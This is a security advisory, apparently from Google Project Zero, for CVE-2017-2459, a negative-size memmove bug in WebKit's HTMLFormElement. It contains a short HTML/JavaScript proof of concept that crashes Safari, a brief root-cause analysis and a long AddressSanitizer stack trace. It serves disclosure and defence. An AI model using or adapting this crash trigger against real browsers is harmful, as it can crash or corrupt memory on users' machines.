WebKit HTMLFormElement Negative-Size Memmove
Posted on 10 April 2017
WebKit: Negative-size memmove in HTMLFormElement CVE-2017-2459 There is a negative-size memmove security vulnerability in WebKit. The vulnerability was confirmed on a nightly build of WebKit. The PoC has also been observed to crash Safari 10.0.2 on Mac. PoC (Note: It might take a couple of refreshes to trigger the bug): ================================================================= <script> function go() { var iframe = document.getElementById("iframe"); var iframeWindow = window[0]; var toInsert = div; var iframeBody = iframeWindow.document.body; iframeBody.before(document.body); iframe.after(toInsert); } </script> <body onload=go()> <form id="form"> <textarea form="form">aaaaaaaa</textarea> <iframe id="iframe"></iframe> </form> <div id="div"><dir><object></object></dir> <div> ================================================================= Preliminary analysis: Under certain conditions HTMLFormElement::formElementIndex() returns an index that is larger than the size of m_associatedElements. This results in negative memmove in WebCore::HTMLFormElement::registerFormElement. ASan log: ================================================================= ==1226==ERROR: AddressSanitizer: negative-size-param: (size=-8) #0 0x10ef32f0b in __asan_memmove (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41f0b) #1 0x114e4b3ba in WTF::VectorMover<true, WebCore::FormAssociatedElement*>::moveOverlapping(WebCore::FormAssociatedElement* const*, WebCore::FormAssociatedElement* const*, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc563ba) #2 0x114e47954 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52954) #3 0x114e47770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770) #4 0x114bfe4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8) #5 0x114bfed4e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa09d4e) #6 0x11458bdb8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396db8) #7 0x11458ba22 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396a22) #8 0x11458b192 in WebCore::ContainerNode::insertBefore(WebCore::Node&, WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396192) #9 0x11608d76f in WebCore::Node::after(WTF::Vector<WTF::Variant<WTF::RefPtr<WebCore::Node>, WTF::String>, 0ul, WTF::CrashOnOverflow, 16ul>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e9876f) #10 0x1155694f2 in WebCore::jsElementPrototypeFunctionAfterCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x13744f2) #11 0x11555a371 in long long WebCore::BindingCaller<WebCore::JSElement>::callOperation<&(WebCore::jsElementPrototypeFunctionAfterCaller(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1365371) #12 0x11555a21e in WebCore::jsElementPrototypeFunctionAfter(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x136521e) #13 0x54b37a201027 (<unknown module>) #14 0x11192c26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c) #15 0x11192c26c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12c526c) #16 0x11192583a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12be83a) #17 0x1115e447d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf7d47d) #18 0x11156eaa3 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf07aa3) #19 0x110c60991 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9991) #20 0x110c60abb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9abb) #21 0x110c60e06 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5f9e06) #22 0x1152a7b2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x10b2b2e) #23 0x11558d786 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1398786) #24 0x114ae8a05 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f3a05) #25 0x114ae852f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8f352f) #26 0x1149d7431 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7e2431) #27 0x1149e6c2f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7f1c2f) #28 0x1148f5aef in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x700aef) #29 0x1148f088e in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6fb88e) #30 0x114c5c3a1 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa673a1) #31 0x114c598da in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa648da) #32 0x11490e0ad in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7190ad) #33 0x114e0879d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1379d) #34 0x1149a324c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae24c) #35 0x11496786f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f) #36 0x114447fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7) #37 0x114442b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69) #38 0x1169f37e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4) #39 0x10d266615 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de615) #40 0x10d265c2a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8ddc2a) #41 0x10cc141f9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28c1f9) #42 0x10ca37448 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xaf448) #43 0x10ca40614 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb8614) #44 0x111f1da04 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b6a04) #45 0x111f1ff1e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18b8f1e) #46 0x7fff9a64c7e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0) #47 0x7fff9a62bf1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b) #48 0x7fff9a62b43e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e) #49 0x7fff9a62ae37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37) #50 0x7fff904ba934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934) #51 0x7fff904ba76e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e) #52 0x7fff904ba5ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae) #53 0x7fff8e2e5df5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5) #54 0x7fff8e2e5225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225) #55 0x7fff8e2d9d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f) #56 0x7fff8e2a3367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367) #57 0x7fff86665193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193) #58 0x7fff86663bbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd) #59 0x10c973b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73) #60 0x7fff8e1e35ac in start (/usr/lib/system/libdyld.dylib+0x35ac) 0x60c000086510 is located 16 bytes inside of 128-byte region [0x60c000086500,0x60c000086580) allocated by thread T0 here: #0 0x10ef3c790 in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4b790) #1 0x7fff867345a0 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib+0x25a0) #2 0x111f71db4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190adb4) #3 0x111f6712b in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x190012b) #4 0x111efe995 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1897995) #5 0x114e347c0 in WTF::VectorBufferBase<WebCore::FormAssociatedElement*>::allocateBuffer(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3f7c0) #6 0x114e34ae3 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::reserveCapacity(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc3fae3) #7 0x114e4b383 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc56383) #8 0x114e478f0 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc528f0) #9 0x114e47770 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc52770) #10 0x114bfe4d8 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa094d8) #11 0x114bfe79c in WebCore::FormAssociatedElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa0979c) #12 0x114e3c080 in WebCore::HTMLFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc47080) #13 0x114f0a287 in WebCore::HTMLTextFormControlElement::insertedInto(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd15287) #14 0x11459c476 in WebCore::notifyNodeInsertedIntoDocument(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7476) #15 0x11459c318 in WebCore::notifyChildNodeInserted(WebCore::ContainerNode&, WebCore::Node&, WTF::Vector<WTF::Ref<WebCore::Node>, 11ul, WTF::CrashOnOverflow, 16ul>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3a7318) #16 0x11458bc77 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x396c77) #17 0x11458a69a in WebCore::ContainerNode::parserAppendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x39569a) #18 0x114de009c in WebCore::executeInsertTask(WebCore::HTMLConstructionSiteTask&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbeb09c) #19 0x114dd9007 in WebCore::HTMLConstructionSite::executeQueuedTasks() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbe4007) #20 0x114e09d48 in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14d48) #21 0x114e09902 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc14902) #22 0x114e08b94 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc13b94) #23 0x114e0a58d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc1558d) #24 0x114877661 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x682661) #25 0x1149a31f8 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7ae1f8) #26 0x11496786f in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x77286f) #27 0x114447fb7 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x252fb7) #28 0x114442b69 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24db69) #29 0x1169f37e4 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27fe7e4) SUMMARY: AddressSanitizer: negative-size-param (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x41f0b) in __asan_memmove ==1226==ABORTING This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. Found by: ifratric
